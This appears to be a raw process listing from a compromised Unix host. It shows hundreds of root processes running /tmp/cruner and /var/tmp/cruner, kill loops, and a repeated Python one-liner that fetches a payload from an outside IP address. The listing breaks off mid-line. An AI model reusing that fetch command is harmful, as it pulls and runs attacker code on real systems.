23564 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 354 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4788 15646 0 - ? 0:00 <defunct> > root 2560 8401 0 15:44:46 ? 0:00 bash -sh > root 24910 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17634 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22935 26235 0 - ? 0:00 <defunct> > root 17084 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7755 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21146 20471 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13072 18373 0 - ? 0:00 <defunct> > root 17441 1113 0 15:45:16 ? 0:00 sleep 60 > root 1921 4141 0 15:45:27 ? 0:00 sleep 60 > root 5855 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19028 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16131 6657 0 15:46:00 ? 0:00 xargs kill -9 > root 26488 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15488 21974 0 15:45:55 ? 0:00 sleep 60 > root 14341 14317 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10920 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3754 11275 0 - ? 0:00 <defunct> > root 7978 7963 0 15:45:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6418 6412 0 15:43:31 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23426 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27351 12582 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 13612 3035 0 - ? 0:00 <defunct> > root 28270 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4664 4839 0 15:45:49 ? 0:00 sleep 60 > root 13792 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27522 5361 0 - ? 0:00 <defunct> > root 6539 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29913 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9482 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21424 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 748 17760 0 15:44:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16180 28319 0 15:45:51 ? 0:00 bash -sh > root 8188 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2372 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29268 2774 0 15:44:55 ? 0:00 bash -sh > root 10159 29469 0 15:45:36 ? 0:00 bash -sh > root 17166 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14561 14547 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26289 9046 0 15:46:01 ? 0:00 bash -sh > root 24304 20436 0 - ? 0:00 <defunct> > root 22617 27693 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19009 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3119 2198 0 15:45:48 ? 0:00 bash -sh > root 2081 2961 0 15:45:19 ? 0:00 sleep 60 > root 14802 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16659 29476 0 15:45:29 ? 0:00 bash -sh > root 7280 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20525 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17469 20667 0 15:45:51 ? 0:00 sleep 60 > root 15429 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11631 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14266 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16405 15425 0 15:45:06 ? 0:00 sleep 60 > root 13882 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12900 14771 0 - ? 0:00 <defunct> > root 16286 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8778 5676 0 15:45:49 ? 0:00 sleep 60 > root 25264 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11151 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9673 8155 0 - ? 0:00 <defunct> > root 2770 3508 0 - ? 0:00 <defunct> > root 8255 8239 0 15:45:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22069 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8917 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8314 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4862 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23620 4884 0 15:45:30 ? 0:00 sleep 60 > root 25188 25185 0 - ? 0:00 <defunct> > root 2930 2636 0 15:45:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5104 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6918 28150 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 11375 18227 0 15:44:56 ? 0:00 bash -sh > root 16964 24622 0 15:44:52 ? 0:00 bash -sh > root 18166 2668 0 15:45:06 ? 0:00 sleep 60 > root 3725 28192 0 - ? 0:00 <defunct> > root 11575 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1820 4466 0 - ? 0:00 <defunct> > root 6074 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8231 3717 0 15:45:20 ? 0:00 sleep 60 > root 3540 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5982 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29435 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17797 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 859 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 333 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7732 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14922 22386 0 - ? 0:00 <defunct> > root 24225 2402 0 15:45:30 ? 0:00 sleep 60 > root 27147 6649 0 15:45:39 ? 0:00 xargs kill -9 > root 17838 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12121 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3551 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27099 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24370 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2798 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8909 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16836 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17516 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17074 28292 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13442 11387 0 15:45:21 ? 0:00 sleep 60 > root 8602 6495 0 15:44:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17746 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5144 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11795 22115 0 15:45:29 ? 0:00 sleep 60 > root 20369 24147 0 15:45:33 ? 0:00 sleep 60 > root 2527 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13678 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23180 26130 0 15:46:05 ? 0:00 sleep 60 > root 11759 20170 0 - ? 0:00 <defunct> > root 10373 8204 0 - ? 0:00 <defunct> > root 13751 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4955 4953 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8882 3780 0 15:43:09 ? 0:00 bash -sh > root 27838 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27423 28951 0 15:44:21 ? 0:00 bash -sh > root 21281 10592 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23292 3299 0 - ? 0:00 <defunct> > root 14671 23574 0 15:45:45 ? 0:00 bash -sh > root 17366 16507 0 15:45:42 ? 0:00 sleep 60 > root 29533 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29437 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10578 19599 0 15:45:28 ? 0:00 sleep 60 > root 28482 28990 0 15:46:05 ? 0:00 bash -sh > root 15526 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29065 16959 0 15:45:53 ? 0:00 sleep 60 > root 22884 20580 0 15:45:43 ? 0:00 bash -sh > root 14661 23132 0 - ? 0:00 <defunct> > root 10328 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25753 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 844 4216 0 15:44:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15739 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8000 3876 0 - ? 0:00 <defunct> > root 8643 14517 0 15:45:40 ? 0:00 sleep 60 > root 19913 20669 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 21163 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19184 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5998 10624 0 15:43:42 ? 0:00 bash -sh > root 23707 4829 0 15:46:01 ? 0:00 bash -sh > root 15617 184 0 - ? 0:00 <defunct> > root 20613 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21256 7343 0 15:43:13 ? 0:00 bash -sh > root 23741 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24860 27786 0 15:44:54 ? 0:00 bash -sh > root 24064 27718 0 15:45:43 ? 0:00 bash -sh > root 21458 12710 0 15:44:53 ? 0:00 bash -sh > root 18580 13575 0 15:45:51 ? 0:00 sleep 60 > root 14384 7984 0 15:44:16 ? 0:00 bash -sh > root 13140 27148 0 15:45:16 ? 0:00 sleep 60 > root 20115 13693 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14670 10010 0 - ? 0:00 <defunct> > root 5086 9252 0 - ? 0:00 <defunct> > root 29333 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26736 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15807 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17686 17664 0 15:43:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26548 1728 0 - ? 0:00 <defunct> > root 16526 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7245 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2430 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13483 10251 0 15:45:50 ? 0:00 sleep 60 > root 3128 22980 0 15:45:28 ? 0:00 bash -sh > root 6159 968 0 - ? 0:00 <defunct> > root 2012 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18604 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13728 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13714 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29131 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17225 6214 0 15:46:00 ? 0:00 bash -sh > root 3156 15763 0 15:45:09 ? 0:00 bash -sh > root 28548 7426 0 15:45:34 ? 0:00 sleep 60 > root 18757 19839 0 15:45:16 ? 0:00 bash -sh > root 16691 17059 0 15:46:00 ? 0:00 bash -sh > root 10983 12831 0 - ? 0:00 <defunct> > root 11964 26310 0 15:45:11 ? 0:00 bash -sh > root 19696 19787 0 - ? 0:00 <defunct> > root 23744 29364 0 - ? 0:00 <defunct> > root 16175 22309 0 15:44:57 ? 0:00 bash -sh > root 17621 25898 0 15:45:06 ? 0:00 bash -sh > root 27308 2401 0 15:45:53 ? 0:00 sleep 60 > root 17514 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18485 8822 0 15:44:57 ? 0:00 bash -sh > root 8559 1904 0 - ? 0:00 <defunct> > root 17116 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4303 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6420 28930 0 15:45:09 ? 0:00 bash -sh > root 18136 23554 0 15:45:37 ? 0:00 bash -sh > root 25952 9044 0 - ? 0:00 <defunct> > root 27732 18355 0 15:45:43 ? 0:00 sh /tmp/cruner > root 6630 9494 0 15:45:54 ? 0:00 sleep 60 > root 408 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10241 3527 0 15:45:59 ? 0:00 bash -sh > root 24851 28114 0 15:45:17 ? 0:00 sleep 60 > root 8549 11577 0 - ? 0:00 <defunct> > root 17363 14389 0 15:45:26 ? 0:00 sleep 60 > root 9188 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21828 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21072 20552 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7458 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24944 8874 0 - ? 0:00 <defunct> > root 2897 14100 0 15:44:12 ? 0:00 bash -sh > root 26778 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 367 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21976 15863 0 - ? 0:00 <defunct> > root 18449 13893 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25647 25101 0 15:45:52 ? 0:00 sh /var/tmp/cruner > root 9105 20617 0 - ? 0:00 <defunct> > root 2906 1 0 Oct 06 ? 0:02 sh /tmp/cruner > root 24135 20624 0 15:45:33 ? 0:00 sleep 60 > root 18117 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6299 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13635 13632 0 15:44:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19631 6430 0 - ? 0:00 <defunct> > root 10903 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4935 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2509 21027 0 15:45:48 ? 0:00 sleep 60 > root 11504 17218 0 15:45:15 ? 0:00 bash -sh > root 20317 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13446 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21452 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 28783 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7305 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14695 21992 0 - ? 0:00 <defunct> > root 12993 29005 0 15:45:11 ? 0:00 xargs kill -9 > root 24431 18521 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 1631 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8913 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11527 6074 0 15:45:36 ? 0:00 bash -sh > root 27203 1314 0 15:45:53 ? 0:00 sleep 60 > root 9660 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10935 1 0 21:13:32 ? 0:00 sh /var/tmp/cruner > root 19179 23193 0 - ? 0:00 <defunct> > root 20299 3235 0 - ? 0:00 <defunct> > root 6972 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7385 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 423 26419 0 15:42:51 ? 0:00 bash -sh > root 1119 10554 0 - ? 0:00 <defunct> > root 26008 1 0 19:48:43 ? 0:00 sh /var/tmp/cruner > root 28384 27477 0 15:45:34 ? 0:00 sleep 60 > root 12266 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24922 7111 0 - ? 0:00 <defunct> > root 24816 10655 0 15:45:47 ? 0:00 sh /tmp/cruner > root 23110 18063 0 15:45:43 ? 0:00 bash -sh > root 23308 8149 0 15:44:08 ? 0:00 bash -sh > root 13048 7060 0 15:45:59 ? 0:00 /bin/ksh -p /bin/kill -9 > root 16185 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13881 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10786 4853 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27568 21725 0 15:45:18 ? 0:00 sleep 60 > root 11625 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18218 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18353 5388 0 15:45:42 ? 0:00 sleep 60 > root 22838 22837 0 15:45:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6173 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29156 20496 0 15:45:18 ? 0:00 sleep 60 > root 97 1 0 21:29:30 ? 0:00 sh /var/tmp/cruner > root 22971 15286 0 15:45:47 ? 0:00 sh /tmp/cruner > root 28296 7117 0 15:46:05 ? 0:00 bash -sh > root 14046 18070 0 - ? 0:00 <defunct> > root 9199 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21498 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3145 7117 0 - ? 0:00 <defunct> > root 23726 20693 0 15:44:49 ? 0:00 bash -sh > root 19652 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4490 20141 0 15:45:19 ? 0:00 sleep 60 > root 1661 26745 0 15:45:27 ? 0:00 sleep 60 > root 20002 11745 0 15:45:38 ? 0:00 bash -sh > root 26427 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28716 531 0 15:45:18 ? 0:00 sleep 60 > root 7834 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16296 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26801 16612 0 - ? 0:00 <defunct> > root 3949 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1215 29083 0 15:45:34 ? 0:00 sleep 60 > root 3295 8362 0 15:45:58 ? 0:00 sleep 60 > root 3610 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8018 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1101 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10644 376 0 15:42:47 ? 0:00 bash -sh > root 5039 1 0 22:45:40 ? 0:00 sh /var/tmp/cruner > root 2433 11833 0 15:45:27 ? 0:00 sleep 60 > root 25256 20678 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 3797 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15595 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5181 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11565 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17044 24181 0 15:45:06 ? 0:00 sleep 60 > root 11507 444 0 - ? 0:00 <defunct> > root 8698 15448 0 15:45:58 ? 0:00 bash -sh > root 8799 2868 0 - ? 0:00 <defunct> > root 17959 2748 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25869 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8147 911 0 15:45:49 ? 0:00 bash -sh > root 14049 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10342 26163 0 15:45:55 ? 0:00 bash -sh > root 26359 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21699 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13628 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21182 1598 0 - ? 0:00 <defunct> > root 5797 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13898 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28419 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25061 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17693 20744 0 15:45:06 ? 0:00 sleep 60 > root 15261 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19396 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17807 17782 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8701 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18613 26544 0 15:42:54 ? 0:00 bash -sh > root 10056 16334 0 15:45:25 ? 0:00 sleep 60 > root 16779 10421 0 15:44:52 ? 0:00 bash -sh > root 7391 22452 0 - ? 0:00 <defunct> > root 16973 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11086 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14234 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25483 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2018 22436 0 15:46:02 ? 0:00 sleep 60 > root 14323 14304 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7182 25526 0 - ? 0:00 <defunct> > root 9069 1815 0 15:45:10 ? 0:00 sleep 60 > root 15928 6520 0 15:44:16 ? 0:00 bash -sh > root 29849 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16771 4818 0 15:45:51 ? 0:00 bash -sh > root 27496 6824 0 15:46:05 ? 0:00 bash -sh > root 28271 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25244 29945 0 15:46:01 ? 0:00 sleep 60 > root 12593 69 0 - ? 0:00 <defunct> > root 24747 23931 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2525 2507 0 - ? 0:00 <defunct> > root 18891 26037 0 15:45:42 ? 0:00 xargs kill -9 > root 78 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26410 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 22593 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27628 7495 0 15:42:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8802 25531 0 15:45:54 ? 0:00 sleep 60 > root 1082 1433 0 15:45:44 ? 0:00 bash -sh > root 15698 13256 0 15:45:25 ? 0:00 bash -sh > root 19010 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9508 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9867 29167 0 15:45:59 ? 0:00 sleep 60 > root 24983 24980 0 15:44:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12235 18747 0 - ? 0:00 <defunct> > root 536 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22929 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9793 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4911 18192 0 15:45:54 ? 0:00 bash -sh > root 26371 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2917 15757 0 15:45:35 ? 0:00 bash -sh > root 10195 25688 0 15:45:59 ? 0:00 sleep 60 > root 26560 11794 0 15:45:53 ? 0:00 sh /tmp/cruner > root 19810 1235 0 - ? 0:00 <defunct> > root 16343 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20034 6585 0 - ? 0:00 <defunct> > root 6586 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26888 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23036 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6053 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3501 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27351 12582 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 10372 6834 0 15:45:55 ? 0:00 bash -sh > root 8995 8984 0 - ? 0:00 <defunct> > root 17987 14838 0 15:45:32 ? 0:00 bash -sh > root 19634 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12532 14662 0 - ? 0:00 <defunct> > root 3530 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22795 19043 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4681 17176 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25867 14169 0 15:45:52 ? 0:00 bash -sh > root 150 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13758 14434 0 15:45:50 ? 0:00 bash -sh > root 20170 26278 0 15:45:22 ? 0:00 bash -sh > root 29519 21278 0 15:45:27 ? 0:00 sleep 60 > root 27875 13209 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 22262 22536 0 - ? 0:00 <defunct> > root 19817 27828 0 15:46:04 ? 0:00 sleep 60 > root 12557 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 282 5980 0 15:45:34 ? 0:00 sleep 60 > root 10233 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22129 2881 0 15:45:22 ? 0:00 bash -sh > root 22756 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23657 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8633 24064 0 - ? 0:00 <defunct> > root 17842 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 8351 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22469 26881 0 - ? 0:00 <defunct> > root 3786 13670 0 15:45:58 ? 0:00 sleep 60 > root 18186 23752 0 15:46:00 ? 0:00 bash -sh > root 24168 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28118 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12197 9617 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1052 5681 0 15:45:27 ? 0:00 bash -sh > root 13278 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12690 11578 0 - ? 0:00 <defunct> > root 12181 2706 0 15:45:41 ? 0:00 bash -sh > root 1940 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10508 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 608 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11376 11153 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16645 27544 0 15:45:22 ? 0:00 sleep 60 > root 28625 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19785 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12811 28982 0 15:45:59 ? 0:00 xargs kill -9 > root 16521 10515 0 15:45:22 ? 0:00 sleep 60 > root 20030 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20088 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24091 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15870 13757 0 15:45:06 ? 0:00 sleep 60 > root 15646 9031 0 15:45:46 ? 0:00 bash -sh > root 29256 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7534 10529 0 - ? 0:00 <defunct> > root 20933 20607 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18112 14395 0 15:43:56 ? 0:00 bash -sh > root 12642 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18542 11748 0 15:45:37 ? 0:00 sleep 60 > root 12708 23651 0 - ? 0:00 <defunct> > root 8906 8314 0 15:43:09 ? 0:00 bash -sh > root 13772 1 0 22:45:53 ? 0:00 sh /var/tmp/cruner > root 8365 25904 0 15:45:28 ? 0:00 sleep 60 > root 184 12729 0 15:44:55 ? 0:00 bash -sh > root 16162 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20475 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14531 4719 0 15:45:21 ? 0:00 bash -sh > root 13185 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29872 18198 0 - ? 0:00 <defunct> > root 5141 6328 0 15:45:44 ? 0:00 bash -sh > root 6187 11027 0 - ? 0:00 <defunct> > root 9070 3942 0 - ? 0:00 <defunct> > root 8275 18827 0 15:45:20 ? 0:00 sleep 60 > root 21649 24022 0 15:45:17 ? 0:00 bash -sh > root 19759 19438 0 15:46:04 ? 0:00 xargs kill -9 > root 22389 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27419 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19933 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15835 17409 0 15:45:26 ? 0:00 bash -sh > root 24694 24681 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11228 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20422 15130 0 15:45:12 ? 0:00 sleep 60 > root 28916 20716 0 - ? 0:00 <defunct> > root 7694 7691 0 15:45:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28490 1689 0 15:44:10 ? 0:00 bash -sh > root 19110 17736 0 15:43:45 ? 0:00 bash -sh > root 24169 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 970 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10307 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8617 17229 0 15:45:20 ? 0:00 sleep 60 > root 17768 1 